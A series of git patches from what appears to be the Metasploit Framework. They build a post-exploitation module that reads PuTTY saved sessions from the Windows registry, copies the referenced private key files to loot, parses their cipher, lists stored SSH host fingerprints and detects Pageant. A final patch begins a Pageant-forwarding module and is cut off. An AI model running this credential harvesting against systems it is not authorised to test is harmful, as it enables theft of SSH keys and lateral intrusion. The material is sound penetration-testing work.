registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') else From 1177f42263baa1a46814625e04bf471b7db9150d Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:38:25 +0100 Subject: [PATCH 0056/2172] Renamed module to remain consistent with other enum modules --- ...{putty_enum_saved_sessions.rb => enum_putty_saved_sessions.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/post/windows/gather/{putty_enum_saved_sessions.rb => enum_putty_saved_sessions.rb} (100%) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb similarity index 100% rename from modules/post/windows/gather/putty_enum_saved_sessions.rb rename to modules/post/windows/gather/enum_putty_saved_sessions.rb From b12db7b6335566645293f999aba21af90deee2a2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:59:26 +0100 Subject: [PATCH 0057/2172] Retrieves saved session lists etc to loot and exports information in CSV format --- modules/post/windows/gather/enum_putty_saved_sessions.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index dac8d00d83..d9d8158f2b 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -69,7 +69,10 @@ class Metasploit3 < Msf::Post results_table << row end + print_line print_line results_table.to_s + stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end def get_stored_host_key_details(allkeys) @@ -129,7 +132,10 @@ class Metasploit3 < Msf::Post results_table << row end + print_line print_line results_table.to_s + stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List") + print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).") end def grab_private_keys(sessions) @@ -169,7 +175,6 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) display_saved_sessions_report(all_saved_sessions) - print_status("Session data also stored in notes. Use 'notes -t putty.savedsessions to view'.") # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -193,7 +198,6 @@ class Metasploit3 < Msf::Post if all_stored_keys.nil? || all_stored_keys.empty? print_error("No stored key fingerprints found") else - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedfingerprint to view'.") display_stored_host_keys_report(all_stored_keys) end end From a4f67bce6f4f844cf25730a9bfb59caebc44d85c Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 15:48:05 +0100 Subject: [PATCH 0058/2172] Tidied up code --- .../windows/gather/enum_putty_saved_sessions.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index d9d8158f2b..df76db11ca 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -148,12 +148,12 @@ class Metasploit3 < Msf::Post if file?(filename) if ppk = read_file(filename) # Attempt to read the contents of the file stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") else print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") end end end @@ -182,6 +182,8 @@ class Metasploit3 < Msf::Post end + print_line # Just for readability + # Now search for SSH stored keys. These could be useful because it shows hosts that the user # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") @@ -202,6 +204,16 @@ class Metasploit3 < Msf::Post end end + print_line # Just for readability + + print_status("Looking for Pageant...") + hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") + if hwnd['return'] + print_good("Pageant is running (Handle 0x#{sprintf("%x",hwnd['return'])})") + else + print_error("Pageant is not running") + end + end end From 5e4566712a207242ed6dc3519d7355a2d4e676be Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 16:00:44 +0100 Subject: [PATCH 0059/2172] Added more detailed description --- modules/post/windows/gather/enum_putty_saved_sessions.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index df76db11ca..a3a553ab3c 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -24,9 +24,10 @@ class Metasploit3 < Msf::Post This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session information from the registry. PuTTY is very configurable; some users may have configured saved sessions which could include a username, private key file to use when authenticating, - host name etc. - - If a private key is configured, an attempt will be made to download and store it in loot. + host name etc. If a private key is configured, an attempt will be made to download and store + it in loot. It will also record the SSH host keys which have been stored. These will be connections that + the user has previously after accepting the host SSH fingerprint and therefore are of particular + interest if they are within scope of a penetration test. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From f1955cb15dc644e1996b2bf279f238101fa10099 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 16:09:19 +0100 Subject: [PATCH 0060/2172] Rubocopped the file --- .../gather/enum_putty_saved_sessions.rb | 187 +++++++++--------- 1 file changed, 89 insertions(+), 98 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index a3a553ab3c..915fbf9f0d 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -14,45 +14,43 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] - PAGEANT_REGISTRY_KEY="HKCU\\Software\\SimonTatham\\PuTTY" + INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] + PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - def initialize(info={}) + def initialize(info = {}) super(update_info(info, - 'Name' => "PuTTY Saved Sessions Enumeration Module", - 'Description' => %q{ - This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session - information from the registry. PuTTY is very configurable; some users may have configured - saved sessions which could include a username, private key file to use when authenticating, - host name etc. If a private key is configured, an attempt will be made to download and store - it in loot. It will also record the SSH host keys which have been stored. These will be connections that - the user has previously after accepting the host SSH fingerprint and therefore are of particular - interest if they are within scope of a penetration test. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan '] - )) + 'Name' => "PuTTY Saved Sessions Enumeration Module", + 'Description' => %q{ + This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session + information from the registry. PuTTY is very configurable; some users may have configured + saved sessions which could include a username, private key file to use when authenticating, + host name etc. If a private key is configured, an attempt will be made to download and store + it in loot. It will also record the SSH host keys which have been stored. These will be connections that + the user has previously after accepting the host SSH fingerprint and therefore are of particular + interest if they are within scope of a penetration test. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Stuart Morgan '] + )) end def get_saved_session_details(sessions) - all_sessions = [] sessions.each do |ses| - newses = {} - newses['Name'] = Rex::Text.uri_decode(ses) - INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s - end - all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) - end + newses = {} + newses['Name'] = Rex::Text.uri_decode(ses) + INTERESTING_KEYS.each do |key| + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s + end + all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) + end all_sessions end def display_saved_sessions_report(info) - # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( 'Header' => "PuTTY Saved Sessions", @@ -66,7 +64,7 @@ class Metasploit3 < Msf::Post row << result['Name'] INTERESTING_KEYS.each do |key| row << result[key] - end + end results_table << row end @@ -77,47 +75,44 @@ class Metasploit3 < Msf::Post end def get_stored_host_key_details(allkeys) - # This hash will store (as the key) host:port pairs. This is basically a quick way of # getting a unique list of host:port pairs. all_ssh_host_keys = {} # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. - rx_split_hostporttype = %r{^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$}i + rx_split_hostporttype = /^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$/i # Go through each of the stored keys found in the registry allkeys.each do |key| + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s + } - # Store the raw key and value in a hash to start off with - newkey = { - rawname: key, - rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s - } + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + if split_hostporttype - # Take the key and split up host, port and fingerprint type. If it matches, store the information - # in the hash for later. - split_hostporttype = rx_split_hostporttype.match(key.to_s) - if split_hostporttype + # Extract the host, port and key type into the hash + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] - # Extract the host, port and key type into the hash - newkey['host'] = split_hostporttype[:host] - newkey['port'] = split_hostporttype[:port] - newkey['type'] = split_hostporttype[:type] + # Form the key + host_port = "#{newkey['host']}:#{newkey['port']}" - # Form the key - host_port = "#{newkey['host']}:#{newkey['port']}" - - # Add it to the consolidation hash. If the same IP has different key types, append to the array - all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? - all_ssh_host_keys[host_port] << newkey['type'] - end - report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) - end + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] + end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) + end all_ssh_host_keys end def display_stored_host_keys_report(info) - # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( 'Header' => "Stored SSH host key fingerprints", @@ -126,7 +121,7 @@ class Metasploit3 < Msf::Post 'Columns' => ['SSH Endpoint', 'Key Type(s)'] ) - info.each do |key,result| + info.each do |key, result| row = [] row << key row << result.join(', ') @@ -141,68 +136,66 @@ class Metasploit3 < Msf::Post def grab_private_keys(sessions) sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? - filename = ses['PublicKeyFile'].to_s - next if filename.empty? - - # Check whether the file exists. - if file?(filename) - if ppk = read_file(filename) # Attempt to read the contents of the file - stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) - print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") - else - print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc - end + # Check whether the file exists. + if file?(filename) + ppk = read_file(filename) + if ppk # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") else - print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") + end end end - # Entry point def run - # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions") if saved_sessions.nil? || saved_sessions.empty? - print_error('No saved sessions found') + print_error('No saved sessions found') else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") - - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) - - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) end print_line # Just for readability # Now search for SSH stored keys. These could be useful because it shows hosts that the user - # has previously connected to and accepted a key from. + # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") - stored_ssh_host_keys = registry_enumvals('HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys') + stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys") if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? - print_error('No stored SSH host keys found') + print_error('No stored SSH host keys found') else - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count>1?'s':''}") + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}") - # Retrieve the saved session details & print them to the screen in a report - print_status("Downloading stored key fingerprints...") - all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - if all_stored_keys.nil? || all_stored_keys.empty? - print_error("No stored key fingerprints found") - else - display_stored_host_keys_report(all_stored_keys) - end + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + if all_stored_keys.nil? || all_stored_keys.empty? + print_error("No stored key fingerprints found") + else + display_stored_host_keys_report(all_stored_keys) + end end print_line # Just for readability @@ -210,11 +203,9 @@ class Metasploit3 < Msf::Post print_status("Looking for Pageant...") hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant") if hwnd['return'] - print_good("Pageant is running (Handle 0x#{sprintf("%x",hwnd['return'])})") + print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})") else - print_error("Pageant is not running") - end - + print_error("Pageant is not running") + end end - end From 77cf2ec60e7559b16d5a6652e28ef3875c9175b8 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:20:53 +0100 Subject: [PATCH 0061/2172] Added basic private key detection and parsing --- .../gather/enum_putty_saved_sessions.rb | 68 ++++++++++++++++++- 1 file changed, 66 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 915fbf9f0d..47653ecd40 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -16,6 +16,7 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] def initialize(info = {}) super(update_info(info, @@ -74,6 +75,29 @@ class Metasploit3 < Msf::Post print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end + def display_private_key_analysis(info) + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "PuTTY Private Keys", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + ) + + info.each do |result| + row = [] + PUTTY_PRIVATE_KEY_ANALYSIS.each do |key| + row << result[key] + end + results_table << row + end + + print_line + print_line results_table.to_s + #stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + #print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + end + def get_stored_host_key_details(allkeys) # This hash will store (as the key) host:port pairs. This is basically a quick way of # getting a unique list of host:port pairs. @@ -135,6 +159,7 @@ class Metasploit3 < Msf::Post end def grab_private_keys(sessions) + private_key_summary = [] sessions.each do |ses| filename = ses['PublicKeyFile'].to_s next if filename.empty? @@ -145,6 +170,41 @@ class Metasploit3 < Msf::Post if ppk # Attempt to read the contents of the file stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + + # Now analyse the private key + private_key = {} + private_key['Name'] = ses['Name'] + private_key['HostName'] = ses['HostName'] + private_key['PublicKeyFile'] = ses['PublicKeyFile'] + private_key['Type'] = '' + private_key['Cipher'] = '' + private_key['Comment'] = '' + + # Get type of key + if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ + # This is an SSH1 header + private_key['Type'] = 'ssh1' + if ppk[33] == "\x00" + private_key['Cipher'] = 'none' + elsif ppk[33] == "\x03" + private_key['Cipher'] = '3DES' + else + private_key['Cipher'] = '(Unrecognised)' + end + elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) + # This is an SSH2 header + private_key['Type'] = "ssh2 (#{rx[:keytype]})" + if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) + private_key['Cipher'] = rx[:cipher] + else + private_key['Cipher'] = '(Unrecognised)' + end + + if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) + private_key['Comment'] = rx[:comment] + end + end + private_key_summary << private_key else print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc end @@ -152,6 +212,7 @@ class Metasploit3 < Msf::Post print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.") end end + private_key_summary end # Entry point @@ -172,8 +233,11 @@ class Metasploit3 < Msf::Post # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) - + private_key_info = grab_private_keys(all_saved_sessions) + if (!private_key_info.nil? && !private_key_info.empty?) + print_line + display_private_key_analysis(private_key_info) + end end print_line # Just for readability From 7f16b7164fcfdb0266922b6f45c559079e533d62 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:43:08 +0100 Subject: [PATCH 0062/2172] Added database writing code --- .../gather/enum_putty_saved_sessions.rb | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 47653ecd40..4062ee250e 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -174,11 +174,14 @@ class Metasploit3 < Msf::Post # Now analyse the private key private_key = {} private_key['Name'] = ses['Name'] + private_key['Port'] = ses['PortNumber'] + private_key['UserName'] = ses['UserName'] private_key['HostName'] = ses['HostName'] private_key['PublicKeyFile'] = ses['PublicKeyFile'] private_key['Type'] = '' private_key['Cipher'] = '' private_key['Comment'] = '' + private_key['KeyData'] = ppk # Get type of key if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ @@ -215,6 +218,43 @@ class Metasploit3 < Msf::Post private_key_summary end + def store_private_key_in_db(username,host,port,key) + service_data = { + address: host, + port: port, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id, + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: username, + realm: nil, + realm_key: nil, + auth_methods: ['publickey'], + key_data: key + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + status = Metasploit::Model::Login::Status::UNTRIED + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: status + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + create_credential_login(login_data) + end + # Entry point def run # Look for saved sessions, break out if not. @@ -237,6 +277,11 @@ class Metasploit3 < Msf::Post if (!private_key_info.nil? && !private_key_info.empty?) print_line display_private_key_analysis(private_key_info) + + # Store unencrypted keys in the DB + private_key_info.each do |ses| + store_private_key_in_db(ses['UserName'],ses['HostName'],ses['PortNumber'],ses['KeyData']) if ses['Cipher']=='none' + end end end From cf05e695368d77f8fdc1dde8621eba3dfcf8e2c6 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:51:27 +0100 Subject: [PATCH 0063/2172] Removed database storage for now (need to convert keys to OpenSSH format and resolve IP addresses first) --- .../gather/enum_putty_saved_sessions.rb | 51 ++----------------- 1 file changed, 4 insertions(+), 47 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 4062ee250e..d1aa2ce8b5 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry - INTERESTING_KEYS = ['HostName', 'PublicKeyFile', 'UserName', 'PortNumber', 'PortForwardings'] + INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','UserName','PublicKeyFile','Type','Cipher','Comment'] def initialize(info = {}) super(update_info(info, @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Post 'Header' => "PuTTY Private Keys", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => ['Name','HostName','PublicKeyFile','Type','Cipher','Comment'] + 'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS ) info.each do |result| @@ -174,19 +174,18 @@ class Metasploit3 < Msf::Post # Now analyse the private key private_key = {} private_key['Name'] = ses['Name'] - private_key['Port'] = ses['PortNumber'] private_key['UserName'] = ses['UserName'] private_key['HostName'] = ses['HostName'] private_key['PublicKeyFile'] = ses['PublicKeyFile'] private_key['Type'] = '' private_key['Cipher'] = '' private_key['Comment'] = '' - private_key['KeyData'] = ppk # Get type of key if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/ # This is an SSH1 header private_key['Type'] = 'ssh1' + private_key['Comment'] = '-' if ppk[33] == "\x00" private_key['Cipher'] = 'none' elsif ppk[33] == "\x03" @@ -218,43 +217,6 @@ class Metasploit3 < Msf::Post private_key_summary end - def store_private_key_in_db(username,host,port,key) - service_data = { - address: host, - port: port, - service_name: 'ssh', - protocol: 'tcp', - workspace_id: myworkspace_id, - } - - credential_data = { - origin_type: :session, - session_id: session_db_id, - post_reference_name: refname, - username: username, - realm: nil, - realm_key: nil, - auth_methods: ['publickey'], - key_data: key - } - - credential_data.merge!(service_data) - - # Create the Metasploit::Credential::Core object - credential_core = create_credential(credential_data) - status = Metasploit::Model::Login::Status::UNTRIED - - # Assemble the options hash for creating the Metasploit::Credential::Login object - login_data = { - core: credential_core, - status: status - } - - # Merge in the service data and create our Login - login_data.merge!(service_data) - create_credential_login(login_data) - end - # Entry point def run # Look for saved sessions, break out if not. @@ -277,11 +239,6 @@ class Metasploit3 < Msf::Post if (!private_key_info.nil? && !private_key_info.empty?) print_line display_private_key_analysis(private_key_info) - - # Store unencrypted keys in the DB - private_key_info.each do |ses| - store_private_key_in_db(ses['UserName'],ses['HostName'],ses['PortNumber'],ses['KeyData']) if ses['Cipher']=='none' - end end end From 8b8ed04a73611456cc52b809c967334d88284843 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 18 May 2015 11:56:12 +0100 Subject: [PATCH 0064/2172] Rubocop --- .../gather/enum_putty_saved_sessions.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index d1aa2ce8b5..00d38c0806 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings'] PAGEANT_REGISTRY_KEY = "HKCU\\Software\\SimonTatham\\PuTTY" - PUTTY_PRIVATE_KEY_ANALYSIS = ['Name','HostName','UserName','PublicKeyFile','Type','Cipher','Comment'] + PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment'] def initialize(info = {}) super(update_info(info, @@ -94,8 +94,8 @@ class Metasploit3 < Msf::Post print_line print_line results_table.to_s - #stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") - #print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") + # stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List") + # print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).") end def get_stored_host_key_details(allkeys) @@ -187,23 +187,23 @@ class Metasploit3 < Msf::Post private_key['Type'] = 'ssh1' private_key['Comment'] = '-' if ppk[33] == "\x00" - private_key['Cipher'] = 'none' + private_key['Cipher'] = 'none' elsif ppk[33] == "\x03" - private_key['Cipher'] = '3DES' + private_key['Cipher'] = '3DES' else - private_key['Cipher'] = '(Unrecognised)' + private_key['Cipher'] = '(Unrecognised)' end elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?rsa|dss)[\r\n]/.match(ppk.to_s) # This is an SSH2 header private_key['Type'] = "ssh2 (#{rx[:keytype]})" if rx = /^Encryption:\s(?[-a-z0-9]+?)[\r\n]/.match(ppk.to_s) - private_key['Cipher'] = rx[:cipher] + private_key['Cipher'] = rx[:cipher] else - private_key['Cipher'] = '(Unrecognised)' + private_key['Cipher'] = '(Unrecognised)' end if rx = /^Comment:\s(?.+?)[\r\n]/.match(ppk.to_s) - private_key['Comment'] = rx[:comment] + private_key['Comment'] = rx[:comment] end end private_key_summary << private_key @@ -236,9 +236,9 @@ class Metasploit3 < Msf::Post # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") private_key_info = grab_private_keys(all_saved_sessions) - if (!private_key_info.nil? && !private_key_info.empty?) + if !private_key_info.nil? && !private_key_info.empty? print_line - display_private_key_analysis(private_key_info) + display_private_key_analysis(private_key_info) end end From 3d4490cafd0b3cb1ac3e4314f1827d4049680ab2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 09:49:27 +0100 Subject: [PATCH 0065/2172] Trying to do this as a POST module instead of through command dispatcher --- .../post/windows/manage/forward_pageant.rb | 387 ++++++++++++++++++ 1 file changed, 387 insertions(+) create mode 100644 modules/post/windows/manage/forward_pageant.rb diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb new file mode 100644 index 0000000000..e6efc4a120 --- /dev/null +++ b/modules/post/windows/manage/forward_pageant.rb @@ -0,0 +1,387 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Forward Pageant', + 'Description' => %q{ + This module forwards Pageant. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Stuart Morgan ', + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + register_options( + [ + OptString.new('USERNAME', [true, 'Username to add to the Domain or Domain Group', '']), + OptString.new('PASSWORD', [false, 'Password of the user (only required to add a user to the domain)', '']), + OptString.new('GROUP', [true, 'Domain Group to add the user into.', 'Domain Admins']), + OptBool.new('ADDTOGROUP', [true, 'Add user into Domain Group', false]), + OptBool.new('ADDTODOMAIN', [true, 'Add user to the Domain', true]), + OptString.new('TOKEN', [false, 'Username or PID of the Token which will be used. If blank, Domain Admin Tokens will be enumerated. (Username doesnt require a Domain)', '']), + 